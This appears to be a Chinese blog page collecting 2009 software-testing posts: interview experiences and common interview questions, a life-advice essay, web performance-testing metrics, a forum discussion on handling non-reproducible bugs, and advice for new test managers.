      分析:这是面试中最常见的问题了。应聘者往往也是充分准备,理由多种多样,但是看看应聘者的工作记录统计,70%应聘者平均跳槽频率是1年/次(实习情况除外),不会都那么凑巧吧,赶上什么公司倒闭,每隔一年就会想一次自己学不到东西,需要去外面看看。而在我看来,真正的原因更多的应该是希望通过跳槽提高工资,或者因为自身水平不足被公司炒鱿鱼吧。

      小结:

      我并不认为所有的人都适合做测试。非技术素质方面,这点或者那点不足够优秀也很正常,心浮气躁也可以理解。但是作为用人单位,理解归理解,却也不会用不胜任岗位,或性价比不高的人员。那么对于此类应聘者,我的忠告就是,要么你另谋高就,要么你就放低姿态,培养好你必备的素质后再谈。

      六、缺乏诚信

      这一点本应该被归在上一条素质中,但是这点的重要性我认为远超过了上一条所列各项,因此单独提出。相关表现主要体现在:1、虚报自己历史工薪;2、笔试题目作弊;3、编造离职原因;4、虚报学历,工作经验;5、夸大自己工作技能等。对于严重缺乏诚信的,一旦发现,其他表现再好,也无济于事了。

      另外其实还有个大家都爱犯的通病,不知道如何问问题,言之无物,有的时候自己都不知道想问什么,但却心里总觉得自己是好学的是在请教,殊不知你并没有真正的在做事情,你并没有搞清楚事物的根本。

      想学好一个东西,首要的就是要学好如何问问题。

      最近在繁忙而复杂的找工作过程中,遇到问题无数,今日阅读若干文章感触颇深。自己的成败荣辱仿佛一瞬间集中在眼前。自己审视自己,真的,我还差的很多。

  • 如果你到了20岁,还没到25岁

    fishy 发布于 2009-02-11 16:51:55

    李开复

      如果你已经过了20岁但还不到25岁的话,你必须找到除了爱情之外,能够使你用双脚坚强站在大地上的东西。你要找到谋生的方式。现在考虑不晚了。

      我从来不以为学历有什么重要,天才都不是科班,但,不是科班,连龙套都跑不了。你必须把那些浮如飘絮的思绪,渐渐转化为清晰的思路和简单的文字。华丽和漂浮都不易长久。你要知道,给予文字阅读快感不够的,内容,思想,境界,灵魂,精神和智慧,这些才重要。不要多看那些和你一个路数的女作家的文字。不要琐碎,无病呻吟。不要想到什么就写。不要流连于小感伤和小感动。

      我要你相信温暖,美好,信任,尊严,坚强这些老掉牙的字眼。我不要你颓废,空虚,迷茫,糟践自己,伤害别人。我不要你把自己处理得一团糟。节制自己的感情并且珍惜它,明白这种感情不是任何人都能要。体验生活,是另外一回事,并不意味着堕落和放纵。千万不要认同那些伪装的酷和另类。他们是无事可做的人找出来放任自己无事可做的借口,真正的酷是在内心。你要有强大的内心。要有任凭时间流逝,不会磨折和屈服的信念。不是因为在学校的象牙塔中,才说出我爱世界这样的话,是知道外面的黑,脏,丑陋之后,还要说出这样的话。好好去爱,去生活。青春如此短暂,不要叹老。偶尔可以停下来休息,但是别蹲下来张望。走了一条路的时候,记得别回头看。时不时问问自己,自己在干嘛?

      伤心和委屈的时候,要嚎啕大哭。哭完洗完脸,拍拍自己的脸,挤出一个微笑给自己看。不要揉,否则第二天早上会眼睛肿。给自己一个远大的前程和目标。记得常常仰望天空。记住仰望天空的时候也看看脚下。

      任何时候,任何人问你,有过多少次恋爱,答案是两次。一次是他爱我,我不爱他。一次是我爱他,他不爱我。好的爱情永远在下一次。别给同一个人两次伤害你的机会。

      不要与浪子,文艺青年交往,别和没心没肺的人在一起,别和没有正当职业混日子的人在一起。

      别把犯贱当真爱。一个人作践自己来取悦你的时候,千万不要因此感动。一个男人的烟头烫在他身上,下一个就可能烫在你身上。同样的,当这个女人的刀片割断她的手腕,下次就可能割断你的。

      千万别相信一个不准备将你介绍给他的朋友圈子的男人。一个女人只肯喊你“宝贝”的时候,坚持要她喊你的名字,因为你是男人。一个男人或者女人不再来找你的时候,就不要再去找他或者她。不要相信在恋爱上用手段的人。分手时不要口出恶言。吸取教训,但不要后悔。后悔没有用。

      别去做撕照片,烧信,撕日记这样一类三流爱情电视剧中才有人干的事。相信爱情。相信好男人和好女人还存在,还未婚,还在茫茫人海中寻觅你。别说“男人(或者女人)没一个好东西”,这样使别人误以为你阅人无数。

      爱物质,适当地。永远知道精神更重要。比起那些名表,名牌,时装,更加美丽的是勤奋而有朝气的你自己。如果你20岁以后所花的每一分钱还都是伸手向父母亲人要来的,那你的满身名牌就只能衬托出你的无耻。别以为穿上名牌你就有品位,要知道如果没有真正的内涵,骡子配上金鞍也不会变成骏马。你还年轻,先不说开始你的事业,开创你的未来,但你已经成年,至少也要让自己不再成为父母的负担,让父母看到20年辛苦养育的希望。无所事事只会把你变成一个废物,一个被所有其他人鄙夷的废物,因为这样的你是一个不折不扣的寄生虫。别以为弄个怪异的发型,穿上不男不女的衣服,喷上刺鼻的香水,别人就会注重你,要明白那样招来的眼光就是别人在看一只与众不同的猴子。许多有教养的人对另类的你的反感并不写在脸上,但这种反感确凿无疑肯定会给你带来极其不利的后果。

      别瞧不起劳动人民。不要为劳动羞耻。土地不脏,汗味不难闻。请尊重那些似乎生活状况不如你,但仍然用自己的双手诚实劳动养家糊口的人,因为这样才是尊重自己。永远体恤那些生活在底层的人们,因为我们的亲人就是在这些人群中。我们不娇贵。我们必须能够自己养活自己,这是你的尊严所在。

      不要小看一分钱。不妨自己去挣挣看。做人有时要强悍一点,被欺负的时候,一定要讨回来!但是不要记恨。小人之见,随他们去好了。有原则的宽容和怜悯,会使你高贵。

      被朋友伤害了的时候,别怀疑友情,但提防背叛你的人。原谅,但并不遗忘。做人存几分天真童心,对朋友保持一些侠义之情。 要快乐,要开朗,要坚韧,要温暖。这和性格无关。但你要忠诚,勤奋,要真诚的尊重别人,这样你的人生才不会黑暗。
  • 一周面试经历(下)-痛定思痛

    wucy2935 发布于 2009-04-12 22:29:36

        请了一天半的假去面试,搞得像做贼一样,主管好象挺有意见,说一堆的事等着我做.也难怪,他们七八个软件开发人员配我这么一个不是很专业的测试,纵使我有三头六臂也力不丛心.
        第一家去文思,先笔试,不是很难,部份测试相关的理论,数据库查询和一些计算机基础知识,记得其中有一题是有个项目一个月完成,让你做项怎么试计划随后是由技术人员面试,问了些测试流程,类似之前公司是怎么进行测试工作的,其它问的什么也不记得了,因为我提过我没写过代码,于是问我平时有没有写些C语言的程序,像杨辉三角之类的,写个最简单的九九乘法表怎么写,我第一反应就是两个循环,一个控制行一个控制列就这么随意忽悠过去了,感觉一般般.下午复试,一车二十来人直接拉到了华为在滨江的驻地,要上缴有存储卡的手机,保安检查包包后才允许进入,里面空空的没几个人,但是每张桌子下都有一床被子,小小地震惊了下,原来真地像传说中的华为的员工都会加班到直接在公司睡觉(后来跟同学提起,才知道原来那是他们午休的时候用的,每个人都必须抱着床垫到指定休息室熄灯午睡).先做半小时笔试,只是从试题中抽取几题,都是C语言的基础题,不过做得比较差劲,远离C这么多年能忘的都忘了.然后也是由技术人员面试,和文思问的差不多,答得个人认为也比较差劲,随口而出,没没好好整理过,另外由于我们现在的公司根本就没什么测试流程和版本控制可言,自己几乎都没什么项目经验,这次的面试结果应该没什么机会了,在回来的车上文思的人力资源美眉说这次主要招敏捷测试的,比做开发的要求还高,模糊了开发与测试的概念,也不知道是真是假.
       第二家去三汇软件,招聘信息上说是要招5个测试,结果去了才知道只招一个,和我的初衷有些出入.正是因为现在公司就我一个做测试,什么都是自己学,甚至是流程或方法都弄错了也不得而知,所以很想能进入一个测试团队,从别人身上真正学到些有用的东西.三汇软件目前没有专门的测试人员,想招个能力强点的并希望在不久的将来能组建一个测试团队.双方有了这样个矛盾,结果也是可想而知的,不过面试没有问到很专业的东东,不过面议状态是最好的一次,人力资源美眉还说等他们组建好测试团队需要招专门的测试人员是如果我还有意去的话到时直接打电话她,说是肯定仍记得我的.不管是真是假,人力资源做得不错,至少给应聘人员留下了很好的印象.
        第三家是东软的杭州办事处,感觉这次是挺专业的面试,也是最受益匪浅的一次,让我看到了自己测试经验的严重不足,一大早去做笔试,好几十人,有开发有测试. 笔试题目全是围绕着测试知识,有不定项选择和填空,名词解释,简答及应用题.其中有印象的是,什么是数据字典,作用是什么,用在什么阶段,oracle中主键与唯一索引的区别,测试用例及分析测试用例注意事项,用自己的语言描述软件测试工作主要阶段.大型金融门户网站系统软件的测试重点及注意事项等.其中一题写测试用例的应用题最直接让我看到了自己离专业测试的差距.然后是面试,除了问为什么跳槽等一些常规问题外也问了一些怎么开展测试工作等问题,还有QTP的使用等,会结合你现在公司做的项目提出一些测试方法的问题,老实说现在公司做黑盒每天这边点点那边点点,诸如常用的什么等价类方法怎么实际运用到测试工作中我都不得而知,面试的整个感觉自己太失败了,都开始怀疑自己是不是测试人员了,项目经验太缺乏,知道也没什么好结果临走很谦虚的问了下面试官我的薄弱点,数据库方面比较弱,要加强linux,数据库及自动化方面的知识与能力,顺带又提了下我的优点可能算作安慰,就是我的性格很适合做测试,没任何一点浮躁的表现这个是做测试是最需的.
       从东软出来我立马做出一个决定,暂停找工作,没有测试团队的小公司是不会去的,而有规范测试流程测试团队的公司以我现在这么点专业知识很难达到他们的要求,对linux一窍不通,数据库也几乎什么都不知道,只晓得最简单的select,没有任何的编程经验,且现在公司这么多工作也不允许我经常请假,综合之下,还是觉得应该有针对性地恶补下规范的测试理论知识,总结下自己的测试经验,对linux与数据库一定有有个全面的了解,至少基本的操作都要会.只要能在面试中遇到这些都能有问必答,条理清晰,以确保面试过关.51testing的每周一问很不错,面试中会提到的问题很多应该里面就有,多研究研究.
     

    PS:附上东软的测试用例应用题,有关保险的我也一窍不通,所以这个用例我一看就晕了~~,还请各位兄弟姐妹们提点一下.利用等价类划分方法,针对保险费率计算规则设计出足够多的测试用例,并详细描述用例整个步骤,其中保险计算方法为投保额*保险率,保险费率按点数几算,10点以下费率为0.6%,10点以下为0.1%
    年龄 20-39  6点
        40-59  4点
        60以上20以下 2点
    性别 mail  5点  femial  3点
    婚姻 已婚3点,未婚5点
    抚养人数 一人扣0.5点,最多扣3点(四舍五入取整)

  • 网站性能测试指标

    kangge 发布于 2009-03-24 21:42:40

    通用指标(指Web应用服务器、数据库服务器必需测试项)

    指标

    说明

    ProcessorTime 服务器CPU占用率,一般平均达到70%时,服务就接近饱和
    Memory Available Mbyte 可用内存数,如果测试时发现内存有变化情况也要注意,如果是内存泄露则比较严重
    Physicsdisk Time 物理磁盘读写时间情况

    Web服务器指标

    指标

    说明

    Requests Per Second(Avg Rps) 平均每秒钟响应次数=总请求时间 / 秒数
    Avg time to last byte per terstion (mstes) 平均每秒业务脚本的迭代次数 ,有人会把上面那个混淆
    Successful Rounds 成功的请求
    Failed Requests 失败的请求
    Successful Hits 成功的点击次数
    Failed Hits 失败的点击次数
    Hits Per Second 每秒点击次数
    Successful Hits Per Second 每秒成功的点击次数
    Failed Hits Per Second 每秒失败的点击次数
    Attempted Connections 尝试链接数

    数据库服务器性能指标

    指标

    说明

    User 0 Connections 用户连接数,也就是数据库的连接数量
    Number of deadlocks 数据库死锁
    Butter Cache hit 数据库Cache的命中情况

    系统的瓶颈定义

    性能项

    命令

    指标

    CPU限制 vmstat 当%user+%sys超过80%时
    磁盘I/O限制 Vmstat 当%iowait超过40%(AIX4.3.3或更高版本)时
    应用磁盘限制 Iostat 当%tm_act超过70%时
    虚存空间少 Lsps,-a 当分页空间的活动率超过70%时
    换页限制 Iostat, stat 虚存逻辑卷%tm_act超过I/O(iostat)的30%,激活的虚存率超过CPU数量(vmstat)的10倍时
    系统失效 Vmstat, sar 页交换增大、CPU等待并运行队列

    稳定系统的资源状态

    性能项

    资源

    评价

    CPU占用率 70%
    85%
    90%+ 很差
    磁盘I/0 <30%
    <40%
    <50%+ 很差
    网络 <30%带宽
    运行队列 <2*CPU数量
    内存 没有页交换
    每个CPU每秒10个页交换
    更多的页交换 很差

      通俗理解:

      日访问量

      常用页面最大并发数

      同时在线人数

      访问相应时间

      案例:

      最近公司一个项目,是个门户网站,需要做性能测试,根据项目特点定出了主要测试项和测试方案:

      一种是测试几个常用页面能接受的最大并发数(用户名参数化,设置集合点策略)

      一种是测试服务器长时间压力下,用户能否正常操作(用户名参数化,迭代运行脚本)

      一种则需要测试服务器能否接受10万用户同时在线操作,如果是用IIS做应用服务器的话,单台可承受的最大并发数不可能达到10万级,那就必须要使用集群,通过多台机器做负载均衡来实现;如果是用websphere之类的应用服务器的话,单台可承受的最大并发数可以达到10万级,但为性能考虑还是必须要使用集群,通过多台机器做负载均衡来实现;通常有1个简单的计算方式,1个连接产生1个session,每个session在服务器上有个内存空间大小的设置,在NT上是3M,那么10万并发就需要300G内存,当然实际使用中考虑其他程序也占用内存,所以准备的内存数量要求比这个还要多一些。还有10万个用户同时在线,跟10万个并发数是完全不同的2个概念。这个楼上已经说了。但如何做这个转换将10万个同时在线用户转换成多少个并发数呢?这就必须要有大量的历史日志信息来支撑了。系统日志需要有同时在线用户数量的日志信息,还需要有用户操作次数的日志信息,这2个数据的比例就是你同时在线用户转换到并发数的比例。另外根据经验统计,对于1个JAVA开发的WEB系统(别的我没统计过,给不出数据),一般1台双CPU、2G内存的服务器上可支持的最大并发数不超过500个(这个状态下大部分操作都是超时报错而且服务器很容易宕机,其实没什么实际意义),可正常使用(单步非大数据量操作等待时间不超过20秒)的最大并发数不超过300个。假设你的10万同时在线用户转换的并发数是9000个,那么你最少需要这样的机器18台,建议不少于30台。当然,你要是买个大型服务器,里面装有200个CPU、256G的内存,千兆光纤带宽,就算是10万个并发用户,那速度,也绝对是嗖嗖的。

      另外暴寒1下,光设置全部进入运行状态就需要接近6个小时。具体的可以拿1个系统来压一下看看,可能会出现以下情况:

      1、服务器宕机;

      2、客户端宕机;

      3、从某个时间开始服务器拒绝请求,客户端上显示的全是错误;

      4、勉强测试完成,但网络堵塞或测试结果显示时间非常长。假设客户端和服务器之间百兆带宽,百兆/10000=10K,那每个用户只能得到10K,这个速度接近1个64K的MODEM上网的速度;另外以上分析全都没考虑系统的后台,比如数据库、中间件等。

      1、服务器方面:上面说的那样的PC SERVER需要50台;

      2、网络方面:按每个用户50K,那至少5根百兆带宽独享,估计仅仅网络延迟就大概是秒一级的;

      3、如果有数据库,至少是ORACLE,最好是SYSBASE,SQL SERVER是肯定顶不住的。数据库服务器至少需要10台4CPU、16G内存的机器;

      4、如果有CORBA,那至少再准备10台4CPU、16G内存的机器;再加上负载均衡、防火墙、路由器和各种软件等,总之没个1000万的资金投入,肯定搞不定。

      这样的门户系统,由于有用户权限,所以并不象jackie所说大多是静态页面。但只要是多服务器的集群,那么我们就可以通过1台机器的测试结果来计算多台机器集群后的负载能力的,最多额外考虑一下负载均衡和路由上的压力,比如带宽、速度、延迟等。但如果都是在1台机器上变化,那我们只能做一些指标上的计算,可以从这些指标上简单判断一下是否不可行,比如10万并发用户却只有1根百兆带宽,那我们可以计算出每个用户只有1K带宽,这显然是不可行的。但实际的结果还是需要测试了才知道,毕竟系统压力和用户数量不是线性变化的。

      这一类系统的普遍的成熟的使用,以及很多软件在方案设计后就能够大致估算出系统的性能特点,都导致了系统在软件性能方面调优的比例并不大(当然不完全排除后期针对某些代码和配置进行优化后性能的进一步提高),更多的都是从硬件方面来考虑,比如增加内存、硬盘做RAID、增加带宽、甚至增加机器等。

      网络技术中的10M 带宽指的是以位计算, 就是 10M bit /秒 ,而下载时的速度看到的是以字节(Byte)计算的,所以10M带宽换算成字节理论上最快下载速度为: 1.25 M Byte/秒!

  • 金融危机下两年测试经验找工作的经历(广州)

    sbinken 发布于 2009-03-25 15:07:52

    这一个多月来对我来说是一笔宝贵的财富,在广州大大小小的软件公司基本跑个遍

    面试了10家,最后第九家收留了我,虽然我不是很满意,但没办法,金融危机下工作不好找(深深体会ing)

    回顾过去,是为了更好展望未来,是时候写点东西来记录下我一个多月的面试经历我是去年底就辞职的,两年的工作就是点点击击,美其名曰黑盒测试,性能测试。

    出来后因为临近春节就没去找工作,从02-15号开始网上群发,陆陆续续收到很多面试的机会,基本上两天一个面试。

    其中的面试又分为面试型和笔试型,有的公司是技术的人和你面谈,有的需要笔试再面谈,有的先是HR面再技术面。

    两年后的面试让我发现了很多东西,在广州这边 1.很多公司对测试已经较为重视,虽然很少成立相应的部门,但起码对测试的要求提高,06的时候广州这边做测试的还很少,现在需求是多了,但要求也高,不仅仅是黑盒测试,更要求你要有相应的编程,脚本开发,懂Linux shell,自动化(其实真正用到的又有多少)

    2.做测试的MM有明显增多的趋势,而且有的公司干脆写明不招男性测试

    3.做测试的越来越多,竞争大,一个公司一般只招两三名测试人员

    其中有一家大公司(集团公司)的MM让我印象非常地深刻,和我一样年轻,她面试我的时候从来没有用眼睛看着我一秒,可能是我不够帅,而是斜向一边,侧面对着我,可能是我的回答让她不满意,她最后对我说:都说现在你们不好找工作,我们公司却找不到一位合适的员工,我都面试了七八个了。

    还有一家我非常非常想进入的,很好的公司,它需要的3年以上的工作经验,我也投了简历(我只有两年),两个小时笔试题,一个小时等侍,半小时面谈,有三个面试官,从头到尾我都被他们三个BS,不精通开发,不精通shell编程,写出的存储过程错,触发器错误百出,这是我见过的对测试要求最高的公司。

    面试是人生必经的,面试是一道镜子,让你认清了自己,剖析自己

    从今天开始,面向大海,春暧花开。

    从今天开始,我要好好学习,天天向上。

    说真的,有很多间叫我去复试,但我最后都没把握住

    没有研究深入,沟通能力欠缺,说真的,有点紧张,平常会的都没说好,有时候答非所问以下是面试我经常被问的题目,包括笔试。

    笔试:

    编程:用任何一种程序设计语言写出1到100相加的结果

    int i=1; int sum=0; while(i<=100) sum=sum+i; i++;

    全局变量和局部变量的区别可以从作用域和存储域来说,全局一般是在静态存储区,局部是存储在内存中的栈中,全局作用在整个工程,程序都有效,局部只在方法内有效,涵数结束后从内存消失

    接口和抽象类的相同点和区别 参数传递有几种,分别是什么 有哪些常见的排序:冒泡排序,简章排序,插入

    有哪些区别

    最大公倍数,素数,最小公倍数用一种语言写出来

    一般很少问到编程的东西,但一个优秀的测试工程师肯定需要懂点开发的知识

    一般问到编程的知识的公司对测试的要求也高,薪水也很高

     数据库:主要有两道题,网上有,很常见的其他的基本的SQL操作语句 Linux 主要是针对那些简历上说熟悉LINUX系统的人基本的shell命令,查内存,CPU,硬盘深一点的:写出一些shell编程测试:

    简单介绍下你公司的测试流程

    测试计划包括哪些内空,你觉得哪些是最重要的

    测试用例包括哪些内空,哪个是最重要的

    缺陷报告包括哪些内空,哪个是最重要,BUG描述

    如何与开发人员沟通,如何与客户沟通

    BUG的跟踪

    熟悉白盒测试么

    测试的方法有哪些测试

    眼镜,水杯,椅子,反正随便一个物品

    用你以往的项目经验说下你怎么测试

    让你印象最深刻的三个BUG,在以往的工作中

    你觉得测试从哪个阶段介入最好

    你为什么选择这个行业

    你以后想怎么发展

    你会自动化测试么,LR,TD,QTP,WINRUNNER

    说出基本的操作步骤测试过程,

    测试执行,测试工具哪个更重要

    当时我说测试过程,后来面试官说测试执行最重要,他说公司还没有测试流程,只有搞懂业务流程,执行好测试才能建立测试流程测试策略是什么

    WEB测试有哪些安全性测试有哪些

    B/S结构和C/S结构有什么区别

    B/S结构和C/S结构用到的测试方法有什么不同

    测试用例覆盖率的问题,这个问得很深

    怎么是覆盖率,怎么才算覆盖较高的测试用例

    什么是好的测试用例,有没有100%覆盖的用例

    总结一下你对测试几年的理解

    网络:

    OSI七层结构,TCP/IP四层协议

    ARP,RARP,ICMP属于哪一层

    TCP与UDP的区别

     

    还有很多很多

  • 偶然性BUG怎么处理?(转)

    天空下下雨 发布于 2009-03-20 16:44:37

    在软件工程论坛上,kasad“问偶然性不可重现BUG怎么处理?”我和一些网友进行了讨论,下面就是整理的一些记录,主要是me的。

    一、一定要提交!!

    1. 记得有这么个缺陷,以后再遇到的时候可能就会了解发生的原因。
    2. 尽力去查找出错的原因,比如有什么特别的操作,或者一些操作环境等。
    3. 程序员对程序比测试人员熟悉的多,也许你提交了,即使无法重新,程序员也会了解问题所在。
    4. 无法重现的问题再次出现后,可以直接叫程序员来看看问题。
    5. 对于测试人员来说,没有操作错误这条.既然遇到,就是问题。即使真的操作错了,也要推到程序员那里,既然测试人员犯错误,用户也可能会犯同样的错误。错误发生的时候,Tester最大。

    二、程序不是测试人员写的,出问题也不是测试人员的原因
    至于无法重现,可能的原因很多,因为测试人员看到的只是程序的外部,无法深入程序内部,所以把责任推给测试人员是不对的。
    测试人员的任务只是尽力重现问题,而不是必须重现三、下次再遇到的时候,拉他们来看就可以了
    因为问题如果无论如何无法重现,程序员确实也没有什么好的解决方法。
     
    而且此类问题即使程序员说修改了,测试员也没有好的方法去验证是不是。

    四、你可以告诉程序员,测试过程是没有错误的。 
    测试人员只是检查程序中可能存在的问题,虽然测试人员使用一定的手段方法努力去覆盖所有的情况,但这些都是理论的推测。在实际中,可能因为人员、环境、配置等种种原因出现各种各样的问题,在测试人员这里发现问题是公司内部的事情,程序发到外面可就是公司的形象问题了。
    需要让程序员理解,测试人员是帮助他们的,不是害他们的。
     
    客户那里发现问题比测试员发现问题结果要严重的多五、测试部门是独立与开发部门的呀,真的打交道,也是经理对经理。 
    在我们这里上面的事情,和程序员相互只能商议解决,并没有谁高谁低。
    问题无法重现,也要提出,程序员那里可以回复无法再现。问题放在那里,等到再次出现的时候,就立刻叫程序员过来查看。
     
    实在没有再次出现,最后可以写到报告中,说出现了什么现象,但无法再现(比较严重的问题才如此处理,小问题经理之间商量商量可能就算了)。
    至于测试人员必须重现bug,你杀了我好了,我每次测试项目都有无法重现的问题,很多我能找到大概的原因,有些根本无法重现(仅仅出现一次)。
     
    这种事情是无法避免的,并不能说测试人员无法重现问题,就是工作不到位(哼,程序有bug,是否可以说程序员工作不到位的呀)。

    六、测试部门要独立,最好不受开发的制约。其实真正要重视,就应该有否决的权利。
    我们公司就是项目承包,要拿最后的项目尾款,就要测试部签字通过,这样就避免了很多的问题其实只要自己尽到心就可以了,管别人怎么说呢。

    七、我们使用的状态有: >程序员处理的状态(由测试员提交的Action):等待处理的,再次出现的。 
    测试员处理的状态(由程序员提交的Action):已经修改的,暂不修改的,系统限制的,使用错误的,无法再现的。测试员可以修改记录。 
     
    经理处理的状态(由测试员提交Action):管理员处理的。经理还可以删除记录。
     
    按照比较标准的说法,其实对于缺陷还应该有“等待确认的”、“已经确认的”和“重复提交的”的状态,我们为了省事,统一使用了“等待处理的”。
     
    最后结项的时候,缺陷的状态对我们来说有两种,“已经关闭的”(由测试员或经理确认)和“暂不修改的”(比如下一个版本处理等)。
     
    呵呵,状态多,有些烦琐,特别是程序员很多的时候都不清楚应该回复什么状态,但我个人觉得对测试人员来说,这些状态比较清晰明了,容易处理。

    八、一个叫doer_ljy(可战)的网友回复了一些内容,我个人认为不很妥当,就回复了一些内容,绿颜色的是doer_ljy(可战)的内容: 

    关于“无法重现”我看是有这么个问题存在。
    首先如果你在测试之前有严格的测试计划,就很难出现“无法重现”这种现象。“无法重现”的意思是不知道怎么操作才能再次看见这个BUG。那么这个BUG多半是“计划外”的。

    不清楚你是否是测试人员。“计划外”这个词,对测试员来说应该不存在。测试用例的粒度一直是个在讨论中的问题,测试人员很难有时间和精力写出包含内容、数据、步骤等等全部操作一切的测试用例(说白了,只要一个长手识字的人,按照测试单做,就能发现所有的问题,呵呵,有软件蓝领的感觉了)。即使真的有,意义也不大,测试很多的时候,是发散性的思维,带点创造性,想事先考虑完全,很难。所以更多时候,是在测试过程中逐步对用例等进行完善,所以说“计划外”最好不要提。
     
    说说我现在测试的一个项目,有一个业务,首先查询出人员,有个“全选”按钮,“全选”后,再用鼠标一个一个取消选择,这个时候进行业务办理的时候,就会提示“没有选择人员”,至今为止一切都正常,但是这个时候再次点选人员进行业务处理,仍然会提示“没有选择人员”,这就是一个缺陷了。这个问题我想一般人都不会在测试用例中考虑到吧,因为发生的条件很苛刻:不用“全选”按钮的时候不会发生;全选后点击“取消全选”按钮再办理业务不会发生;全选全消后,先点击人员再办理业务也不会发生。
     
    其次,成熟的测试人员及时无法再现BUG,也能准确的描述出BUG发生之前几个步骤的操作方法,测试用例情况。这些对开发人员分析BUG原因很重要。所谓的BUG发现环境。

    呵呵,看来我不是成熟的测试人员。手工测试,比较熟练的时候,和打字可以说差不多,应该进行到哪里,心中是有数的,但让我完全从头到尾的重复,不容易呀。写测试缺陷报告单的时候,也只是说明操作步骤和发生的现象。其实无法重现的问题,既然说“无法重现”,也就是测试人员已经对这个现象进行了多次的验证,一般从程序外部来说,测试人员的操作比程序员要熟练的。
     
    最后,我不同意测试人员不假思索把发现的“问题”直接推给编码人员的做法。毕竟是大家合作,目标是一致的。测试人员总是处在BUG发生的第一现场,应该帮助分析出现问题的原因。确认是不是自己的此时Miss。
     
    测试人员提交任何一个问题,都会经过反复的验证,如果容易重现,早就提出来了。绝对不是在推脱责任,还是那句话,对程序的结构,做的人当然比不做的人要清楚。另外,除非程序员询问,否则我不会给程序员提出修改分析和建议!!测试人员的任务是发现问题,解决问题是程序员的事情。这么做可能会影响程序员思考问题的思路;而且测试人员做的多了,程序员不但不感激,可能反而会反感(好像程序员对测试人员有好印象的不多)。


    再说两个我这两天遇到的问题。第一个就是我们的程序有一个锁定数据的功能。锁定后,在其它的业务,此数据将不能再使用。我当时发现这个功能无效,而且经过了几次的验证都不行,我当然就提出了。但是程序员那里说此功能好使,我再验证的时候,就没有问题了,这个问题当时可以重现(但是我不可能遇到问题就拉程序员来看吧),后来却没有了,只能放在那里,最后关闭掉。第二个就是在一个界面中,录入有顺序要求,必须先选择一个ListBox(必填)再进行Edit的录入,但一次操作我没有选择 ListBox就录入的Edit,也正常保存了。后来无论我怎么操作此问题都没有出现(不够成熟呀),我就放弃了,也没有提交记录(为了避免麻烦)。
     
    测试人员的时间是有限的,进度给的都很少,一般连用例都没有时间写,还要去花很多时间验证“无法重现”的问题?反正10分钟如果试验不出来,我就会放弃。严重的就提交,不影响的就当不知道。
     
    下面是其它一些人的观点:
    doublefalse(散诸怀抱):如果不能重现的bug确实比较麻烦,但最好在测试过程中注意干净环境、正确的操作、相同的数据源,只要真的有问题,一定能否复现的。呵呵,多试试!!!我们以前一直有客户反映入库的数据经常有无关数据,但在家里测试没有问题,后来才发现是汉字编码错位,这样同样的字,错位后就变成另外的东西了。
     
    liuxiaoyuzhou(蟀哥):遇到过同样的问题!主要是记住BUG出现的环境!测试的时候这是关键!在我们这里不能从现的BUG,是测试人员的工作不到位!我们这里程序员比测试人员说话有力度!郁闷呀!
     
    ericzhangali(另一个空间):首先一定要提交bug;其次不要企图RD一定去解这个bug;某些时候还得关闭这个bug。如果RD认为是测试错误,(不明白什么叫测试错误,是不是说他从测时要告诉你千万不要怎么怎么做,否则后果自负啊,)那也没什么办法,如果沟通解决不了,爱咋认为就咋认为吧。
     
    darkcat_c(错了重来):没有bug是不可以重现的,bug本事是建立在标准的规程上所出现的异常,如果你按test case步骤做的话不太可能出现此类bug。作为测试人员一定要具备良好的记忆能力,一旦出现一些不知如何产生的bug,至少你要知道刚才你大致进行了那些操作。良好的分析能力,尽管你只是测试,但你应该全面的了解程序的架构,和一些重要的内部细节,不然你这个测试就是不合格的。定位bug是开发的事情,而重现一个bug是测试的本职工作,不要把所有的事情推给开发,不然你的确比开发要低一等。(编者按:这种话,不愿意去辩驳,标准开发人员的看法,也许应该让他们也来做做测试)

    liyan_1014(雁子):我觉得应该是这么处理:

    1、一定提交bug,必须由负责bug的tester详细描述测试操作步骤,bug发生的症状,并将bug发生的具体环境也描述清楚;这样对于再次重现也有一定的参考性。

    2、测试和开发之间是需要良好沟通的,如果得到的回复是操作错误,那么请开发人员解释,为什么会允许存在操作错误,一般来说,对于错误控制,开发那边应该能很好的把握。

    3、沟通方面是需要方式的,开发人员对于自己完成的程序有一种满足感,一般来说是不允许别人来破坏他的这种感觉,如果沟通的时候尽可能是一种建议的形式,让开发人员自己指出自己的程序缺陷,这样对于开发人员来说是可以接受。

    以上仅是个人工作中的经验,呵呵~~~~

  • 没有管理经验的测试人员如何胜任测试经理一职(转)

    liyang82726 发布于 2009-02-25 23:31:31

    中层经理人不论是作为一名执行者、还是一名领导者,都必须通过别人来完成任务。要做个“服众”的经理人,应该有意识地提高以下八项能力:

    1. 领悟能力
    做任何一件事以前,一定要先弄清楚上司希望你怎么做,然后以此为目标来把握做事的方向,这一点很重要,千万不要一知半解就开始埋头苦干,到头来力没少出、活没少干,但结果是事倍功半,甚至前功尽弃。要清楚悟透一件事,胜过草率做十件事,并且会事半功倍。

    2. 计划能力
    执行任何任务都要制定计划,把各项任务按照轻、重、缓、急列出计划表,一一分配部属来承担,自己看头看尾即可。把眼光放在部门未来的发展上,不断理清明天、后天、下周、下月,甚至明年的计划上。在计划的实施及检讨时,要预先掌握关键性问题,不能因琐碎的工作,而影响了应该做的重要工作。要清楚做好20%的重要工作,等于创造80%的业绩。

    3. 指挥能力
    无论计划如何周到,如果不能有效地加以执行,仍然无法产生预期的效果,为了使部属有共同的方向可以执行制定的计划,适当的指挥是有必要的。
    指挥部属,首先要考量工作分配,要检测部属与工作的对应关系,也要考虑指挥的方式,语气不好或是目标不明确,都是不好的指挥。而好的指挥可以激发部属的意愿,而且能够提升其责任感与使命感。要清楚指挥的最高艺术,是部属能够自我指挥。

    4. 控制能力
    控制就是追踪考核,确保目标达到、计划落实。虽然谈到控制会令人产生不舒服的感觉,然而企业的经营有其十分现实的一面,有些事情不及时加以控制,就会给企业造成直接与间接的损失。但是,控制若是操之过急或是控制力度不足,同样会产生反作用:控制过严使部属口服心不服,控制不力则可能现场的工作纪律也难以维持。要清楚最理想的控制,就是让部属通过目标管理方式实现自我控制。

    5. 协调能力
    任何工作,如能照上述所说的要求,制定完善的计划、再下达适当的命令、采取必要的控制,工作理应顺利完成,但事实上,主管的大部分时间都必须花在协调工作上。协调不仅包括内部上下级、部门与部门之间的共识协调,也包括与外部客户、关系单位、竞争对手之间的利益协调,任何一方协调不好都会影响执行计划的完成。要清楚最好的协调关系就是实现共赢。

    6. 授权能力
